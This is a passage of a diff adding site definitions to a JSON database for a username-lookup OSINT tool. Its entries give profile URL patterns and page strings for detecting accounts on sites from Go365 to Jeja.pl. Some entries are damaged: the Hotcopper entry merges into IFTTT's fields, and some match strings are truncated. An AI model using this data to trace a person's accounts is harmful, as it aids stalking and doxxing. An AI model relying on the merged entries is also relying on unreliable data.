"https://community.go365.com/people/{username}", + "usernameClaimed": "go365admin3", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gofundme": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 1260, + "urlMain": "https://www.gofundme.com", + "url": "https://www.gofundme.com/f/{username}", + "usernameClaimed": "adamcoussins", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gog": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "alexaRank": 5343, + "urlMain": "https://www.gog.com/", + "url": "https://www.gog.com/u/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Golangbridge": { + "tags": [ + "forum", + "in", + "sa", + "ua", + "us", + "vn" + ], + "engine": "Discourse", + "alexaRank": 195689, + "urlMain": "https://forum.golangbridge.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Golbis": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 106111, + "urlMain": "https://golbis.com", + "url": "https://golbis.com/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Goldderby": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 37176, + "urlMain": "https://www.goldderby.com", + "url": "https://www.goldderby.com/members/{username}/", + "usernameClaimed": "dakardii", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Goldroyal": { + "tags": [ + "bd", + "by", + "forum", + "ru", + "ua", + "ve" + ], + "engine": "vBulletin", + "alexaRank": 260992, + "urlMain": "http://goldroyal.net", + "usernameClaimed": "anton33", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GolfMonthly": { + "tags": [ + "forum", + "gb", + "us" + ], + "engine": "XenForo", + "urlMain": "https://forums.golf-monthly.co.uk/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Good-music": { + "tags": [ + "ua" + ], + "engine": "uCoz", + "alexaRank": 5386313, + "urlMain": "http://good-music.kiev.ua", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GoodReads": { + "tags": [ + "books", + "us" + ], + "checkType": "status_code", + "alexaRank": 329, + "urlMain": "https://www.goodreads.com/", + "url": "https://www.goodreads.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Maps": { + "tags": [ + "maps", + "us" + ], + "type": "gaia_id", + "checkType": "message", + "presenseStrs": [ + "[\"Contributions by" + ], + "absenceStrs": [ + "My Contributions to Google Maps" + ], + "alexaRank": 1, + "urlMain": "https://maps.google.com/", + "url": "https://www.google.com/maps/contrib/{username}", + "usernameClaimed": "105054951427011407574", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Google Plus (archived)": { + "checkType": "message", + "type": "gaia_id", + "alexaRank": 1, + "presenseStrs": [ + "original" + ], + "absenceStrs": [ + "[]" + ], + "urlMain": "https://plus.google.com", + "urlProbe": "https://web.archive.org/web/timemap/?url=http%3A%2F%2Fplus.google.com%2F{username}&matchType=prefix&collapse=urlkey&output=json&fl=original%2Cmimetype%2Ctimestamp%2Cendtimestamp%2Cgroupcount%2Cuniqcount&filter=!statuscode%3A%5B45%5D..&limit=100000&_=1624789582128", + "url": "https://web.archive.org/web/*/plus.google.com/{username}*", + "usernameClaimed": "117522081019092547227", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GooglePlayStore": { + "tags": [ + "apps", + "us" + ], + "checkType": "status_code", + "alexaRank": 1, + "urlMain": "https://play.google.com/store", + "url": "https://play.google.com/store/apps/developer?id={username}", + "usernameClaimed": "KONAMI", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gorod.dp.ua": { + "tags": [ + "de", + "forum", + "ua" + ], + "engine": "vBulletin", + "alexaRank": 66670, + "urlMain": "https://forum.gorod.dp.ua/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gorodanapa": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430 \u0444\u043e\u0440\u0443\u043c\u0430 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 4204120, + "urlMain": "http://gorodanapa.ru/", + "url": "http://gorodanapa.ru/forum/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gothic": { + "urlSubpath": "/forum", + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://gothic.su", + "usernameClaimed": "Lestat", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GotovimDoma": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + ], + "alexaRank": 30665, + "urlMain": "https://gotovim-doma.ru", + "url": "https://gotovim-doma.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "eda1", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Govloop": { + "tags": [ + "education" + ], + "checkType": "message", + "presenseStrs": [ + "xprofile-personal-li" + ], + "absenceStrs": [ + "article-404-thumb article-thumb" + ], + "alexaRank": 247058, + "urlMain": "https://www.govloop.com", + "url": "https://www.govloop.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gpodder": { + "checkType": "status_code", + "alexaRank": 2509811, + "urlMain": "https://gpodder.net/", + "url": "https://gpodder.net/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Bit.ly": { + "tags": [ + "links" + ], + "checkType": "status_code", + "alexaRank": 2604, + "urlMain": "https://bit.ly", + "url": "https://bit.ly/{username}", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gps-data-team": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "" + ], + "alexaRank": 1021858, + "urlMain": "https://www.gps-data-team.com", + "url": "https://www.gps-data-team.com/pda-gps-navigation/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gps-forumCOM": { + "engine": "XenForo", + "alexaRank": 3328006, + "urlMain": "https://www.gps-forums.com", + "usernameClaimed": "johnash", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum", + "tech" + ] + }, + "Gradle": { + "checkType": "message", + "presenseStrs": [ + "Joined on" + ], + "absenceStrs": [ + "User not found" + ], + "url": "https://plugins.gradle.org/u/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Grailed": { + "checkType": "status_code", + "url": "https://www.grailed.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gramho": { + "tags": [ + "photo" + ], + "checkType": "message", + "presenseStrs": [ + "Instagram Posts" + ], + "alexaRank": 4795, + "urlMain": "https://gramho.com/", + "url": "https://gramho.com/explore-hashtag/{username}", + "source": "Instagram", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gravatar": { + "tags": [ + "photo" + ], + "urlProbe": "http://en.gravatar.com/{username}.json", + "checkType": "message", + "presenseStrs": [ + "requestHash" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 5585, + "urlMain": "http://en.gravatar.com/", + "url": "http://en.gravatar.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gribnikikybani": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 40212, + "urlMain": "http://gribnikikybani.mybb.ru", + "url": "http://gribnikikybani.mybb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gribnyemesta": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 491590, + "urlMain": "https://gribnyemesta.unoforum.pro", + "url": "https://gribnyemesta.unoforum.pro/?32-{username}", + "usernameClaimed": "raevsku", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Gulfcoastgunforum": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "alexaRank": 3333046, + "urlMain": "https://gulfcoastgunforum.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gumroad": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "presenseStrs": [ + "title=\"Gumroad\"" + ], + "regexCheck": "^[^\\.]+$", + "alexaRank": 4728, + "urlMain": "https://www.gumroad.com/", + "url": "https://www.gumroad.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gunandgame": { + "disabled": true, + "ignore403": true, + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "urlMain": "https://www.gunandgame.co", + "url": "https://www.gunandgame.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gunboards": { + "tags": [ + "forum", + "in", + "us" + ], + "presenseStrs": [ + "latest-activity" + ], + "engine": "XenForo", + "alexaRank": 662496, + "urlMain": "https://forums.gunboards.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Guns.ru": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430" + ], + "absenceStrs": [ + "\u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + ], + "alexaRank": 29785, + "urlMain": "https://forum.guns.ru/", + "url": "https://forum.guns.ru/forummisc/show_profile/00098415?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GunsAndAmmo": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 119883, + "urlMain": "https://gunsandammo.com/", + "url": "https://forums.gunsandammo.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Guru": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 4420, + "urlMain": "https://www.guru.com", + "url": "https://www.guru.com/freelancers/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "GuruShots": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "GS POINTS" + ], + "alexaRank": 20926, + "urlMain": "https://gurushots.com/", + "url": "https://gurushots.com/{username}/photos", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Gvectors": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 97985, + "urlMain": "https://gvectors.com", + "url": "https://gvectors.com/forum/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackTheBox": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 26375, + "urlMain": "https://forum.hackthebox.eu/", + "url": "https://forum.hackthebox.eu/profile/{username}", + "usernameClaimed": "angar", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Hackaday": { + "tags": [ + "de", + "us" + ], + "checkType": "status_code", + "alexaRank": 33363, + "urlMain": "https://hackaday.io/", + "url": "https://hackaday.io/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Hackenproof": { + "tags": [ + "in", + "ua" + ], + "checkType": "message", + "presenseStrs": [ + "Stats" + ], + "absenceStrs": [ + "Top hackers of" + ], + "alexaRank": 662911, + "urlMain": "https://hackenproof.com/arbin", + "url": "https://hackenproof.com/{username}", + "usernameClaimed": "arbin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackerNews": { + "tags": [ + "news", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "No such user" + ], + "alexaRank": 7111, + "urlMain": "https://news.ycombinator.com/", + "url": "https://news.ycombinator.com/user?id={username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackerOne": { + "tags": [ + "hacking", + "in" + ], + "checkType": "message", + "absenceStrs": [ + "Page not found" + ], + "alexaRank": 9786, + "urlMain": "https://hackerone.com/", + "url": "https://hackerone.com/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackeralexaRank": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "Something went wrong" + ], + "urlMain": "https://hackeralexaRank.com/", + "url": "https://hackeralexaRank.com/{username}", + "usernameClaimed": "satznova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackerearth": { + "tags": [ + "freelance" + ], + "checkType": "message", + "alexaRank": 7807, + "absenceStrs": [ + "404. URL not found." + ], + "presenseStrs": [ + "Points" + ], + "urlMain": "https://www.hackerearth.com", + "url": "https://www.hackerearth.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackerrank": { + "checkType": "message", + "presenseStrs": [ + "profile-username-heading" + ], + "absenceStrs": [ + "We could not find the page you were looking for, so we found something to make you laugh to make up for it." + ], + "regexCheck": "^[^\\.]+$", + "url": "https://hackerrank.com/{username}", + "usernameClaimed": "uheara_konen", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "HackingWithSwift": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Users - Hacking with Swift" + ], + "alexaRank": 25433, + "urlMain": "https://www.hackingwithswift.com", + "url": "https://www.hackingwithswift.com/users/{username}", + "usernameClaimed": "davextreme", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hackthissite": { + "tags": [ + "hacking" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "Cannot Retrieve Information For The Specified Username" + ], + "alexaRank": 77182, + "urlMain": "https://www.hackthissite.org", + "url": "https://www.hackthissite.org/user/view/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hairmaniac": { + "tags": [ + "medicine", + "ru" + ], + "checkType": "status_code", + "alexaRank": 410477, + "urlMain": "https://www.hairmaniac.ru/", + "url": "https://www.hairmaniac.ru/profile/{username}/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Handgunforum": { + "disabled": true, + "tags": [ + "ca", + "forum" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found. Please enter a member's entire name." + ], + "alexaRank": 1293514, + "urlMain": "https://www.handgunforum.net", + "url": "https://www.handgunforum.net/xf/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hardforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 43068, + "urlMain": "https://hardforum.com", + "url": "https://hardforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hctorpedo": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 223884, + "urlMain": "http://hctorpedo.ru", + "url": "http://hctorpedo.ru/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hellboundhackers": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 234900, + "urlMain": "https://www.hellboundhackers.org", + "url": "https://www.hellboundhackers.org/user/{username}.html", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hexrpg": { + "checkType": "message", + "presenseStrs": [ + "Real Name" + ], + "absenceStrs": [ + "Error : User " + ], + "url": "https://www.hexrpg.com/userinfo/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hipforums": { + "tags": [ + "forum", + "in", + "ru", + "us" + ], + "disabled": true, + "engine": "XenForo", + "alexaRank": 389296, + "urlMain": "https://www.hipforums.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hitmanforum": { + "tags": [ + "forum", + "rs", + "us" + ], + "engine": "Discourse", + "alexaRank": 650297, + "urlMain": "https://www.hitmanforum.com", + "usernameClaimed": "john", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hockeyforum": { + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 3554704, + "urlMain": "https://www.hockeyforum.com", + "url": "https://www.hockeyforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777", + "tags": [ + "forum", + "sport" + ] + }, + "Holiday.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0410\u043d\u043a\u0435\u0442\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u0430, \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430" + ], + "urlMain": "https://www.holiday.ru", + "url": "https://www.holiday.ru/ru/{username}", + "usernameClaimed": "marina", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7663548 + }, + "Hometheaterforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 203539, + "urlMain": "https://www.hometheaterforum.com", + "url": "https://www.hometheaterforum.com/community/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Honda": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 1598732, + "urlMain": "https://honda.org.ua", + "url": "https://honda.org.ua/forum/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hoobly": { + "disabled": true, + "tags": [ + "classified", + "in" + ], + "checkType": "status_code", + "alexaRank": 25774, + "urlMain": "https://www.hoobly.com", + "url": "https://www.hoobly.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Hotcopper": { + "tags": [ + "finance" + ], + "checkType": "message", + "absenceStrs": [ + "error-page", + "error-page home container", + "card-footer-item", + ">
" + ], + "alexaRank": 4912, + "urlMain": "https://www.ifttt.com/", + "url": "https://www.ifttt.com/p/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Inkbunny": { + "checkType": "message", + "presenseStrs": [ + "Profile | Inkbunny, the Furry Art Community" + ], + "absenceStrs": [ + "Members | Inkbunny, the Furry Art Community" + ], + "url": "https://inkbunny.net/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ipolska.pl": { + "checkType": "message", + "presenseStrs": [ + "@ipolska.pl" + ], + "absenceStrs": [ + "The page you are looking for isn't here." + ], + "url": "https://ipolska.pl/@{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IRC-Galleria": { + "tags": [ + "fi", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Ei hakutuloksia" + ], + "alexaRank": 118778, + "urlMain": "https://irc-galleria.net", + "url": "https://irc-galleria.net/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ITVDN Forum": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "Discourse", + "alexaRank": 144827, + "urlMain": "https://forum.itvdn.com", + "usernameClaimed": "pizzaro", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Icheckmovies": { + "tags": [ + "movies" + ], + "checkType": "status_code", + "alexaRank": 86080, + "urlMain": "https://www.icheckmovies.com/", + "url": "https://www.icheckmovies.com/profiles/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Icobench": { + "tags": [ + "in", + "kr", + "ru" + ], + "checkType": "response_url", + "alexaRank": 42461, + "urlMain": "https://icobench.com", + "url": "https://icobench.com/u/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ieoc": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 1096765, + "urlMain": "https://ieoc.com/", + "url": "https://ieoc.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Iknifecollector": { + "checkType": "response_url", + "alexaRank": 9284485, + "urlMain": "https://iknifecollector.com", + "url": "https://iknifecollector.com/profiles/profile/show?id={username}", + "usernameClaimed": "BryanW", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Illustrators": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 98573, + "urlMain": "https://illustrators.ru", + "url": "https://illustrators.ru/users/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ImageShack": { + "tags": [ + "photo", + "sharing" + ], + "checkType": "response_url", + "alexaRank": 9748, + "urlMain": "https://imageshack.com/", + "url": "https://imageshack.com/user/{username}", + "errorUrl": "https://imageshack.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ImgUp.cz": { + "errors": { + "Composer detected issues in your platform": "Site error" + }, + "checkType": "status_code", + "alexaRank": 2499762, + "urlMain": "https://imgup.cz/", + "url": "https://imgup.cz/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis" + }, + "Imgur": { + "tags": [ + "photo" + ], + "urlProbe": "https://api.imgur.com/account/v1/accounts/{username}?client_id=546c25a59c58ad7&include=trophies%2Cmedallions", + "checkType": "status_code", + "alexaRank": 77, + "urlMain": "https://imgur.com", + "url": "https://imgur.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Indog": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 4380944, + "urlMain": "http://www.indog.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Influenster": { + "tags": [ + "us" + ], + "errors": { + "Attention Required! | Cloudflare": "Cloudflare security protection detected" + }, + "checkType": "message", + "absenceStrs": [ + "404 - Page not found" + ], + "alexaRank": 15753, + "urlMain": "https://www.influenster.com/", + "url": "https://www.influenster.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "InfosecInstitute": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 15970, + "urlMain": "https://community.infosecinstitute.com", + "url": "https://community.infosecinstitute.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infourok": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2683, + "urlMain": "https://infourok.ru", + "url": "https://infourok.ru/user/{username}", + "usernameClaimed": "artemeva-evgeniya-evgenevna", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infrance": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 215449, + "urlMain": "https://www.infrance.su/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Infura": { + "tags": [ + "forum", + "kr", + "us" + ], + "engine": "Discourse", + "alexaRank": 40621, + "urlMain": "https://community.infura.io", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ingunowners": { + "tags": [ + "forum", + "us" + ], + "engine": "XenForo", + "urlMain": "https://www.ingunowners.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 5872258 + }, + "Ingvarr": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 103551, + "urlMain": "http://ingvarr.net.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Insanejournal": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "404 Not Found", + "is not currently registered" + ], + "alexaRank": 57161, + "urlMain": "insanejournal.com", + "url": "http://{username}.insanejournal.com/profile", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Instagram": { + "disabled": true, + "tags": [ + "photo" + ], + "errors": { + "Login \u2022 Instagram": "Login required" + }, + "checkType": "message", + "presenseStrs": [ + "
" + ], + "alexaRank": 32, + "urlMain": "https://www.instagram.com/", + "url": "https://www.instagram.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Instructables": { + "tags": [ + "hobby" + ], + "checkType": "message", + "absenceStrs": [ + "404: We're sorry, things break sometimes" + ], + "alexaRank": 1531, + "urlMain": "https://www.instructables.com/", + "url": "https://www.instructables.com/member/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Interfaith": { + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 3172198, + "urlMain": "https://www.interfaith.org", + "url": "https://www.interfaith.org/community/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "Invalidnost": { + "tags": [ + "ru" + ], + "engine": "uCoz", + "alexaRank": 506211, + "urlMain": "https://www.invalidnost.com", + "usernameClaimed": "astra71", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IonicFramework": { + "checkType": "status_code", + "url": "https://forum.ionicframework.com/u/{username}", + "usernameClaimed": "theblue222", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Iphones.ru": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 14073, + "urlMain": "https://www.iphones.ru", + "url": "https://www.iphones.ru/iNotes/author/{username}?profile=1", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ispdn": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "errors": { + "The script encountered an error and will be aborted": "Site error" + }, + "alexaRank": 3405363, + "urlMain": "http://ispdn.ru", + "url": "http://ispdn.ru/forum/user/{username}/", + "usernameClaimed": "AlexG", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "IssueHunt": { + "tags": [ + "dz", + "finance", + "in", + "ir", + "tr", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The user does not exist." + ], + "presenceStrs": [ + "IssueHunt contributions in the past year" + ], + "alexaRank": 379149, + "urlMain": "https://issuehunt.io", + "url": "https://issuehunt.io/u/{username}", + "usernameClaimed": "admc", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Issuu": { + "urlProbe": "https://issuu.com/query?format=json&_=3210224608766&profileUsername={username}&action=issuu.user.get_anonymous", + "checkType": "message", + "presenseStrs": [ + "displayName" + ], + "absenceStrs": [ + "No such user" + ], + "alexaRank": 454, + "urlMain": "https://issuu.com/", + "url": "https://issuu.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "business" + ] + }, + "Italia": { + "tags": [ + "it", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 238714, + "urlMain": "http://italia-ru.com/", + "url": "http://italia-ru.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itch.io": { + "tags": [ + "blog" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 1673, + "urlMain": "https://itch.io/", + "url": "https://{username}.itch.io/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itforums": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 3291616, + "urlMain": "https://itforums.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Itfy": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + ], + "alexaRank": 3103762, + "urlMain": "https://itfy.org", + "url": "https://itfy.org/members/?username={username}", + "usernameClaimed": "god", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jbzd": { + "checkType": "message", + "presenseStrs": [ + "Dzidy u\u017cytkownika" + ], + "absenceStrs": [ + "B\u0142\u0105d 404" + ], + "url": "https://jbzd.com.pl/uzytkownik/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Jeja.pl": { + "checkType": "message", + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "absenceStrs": [ + 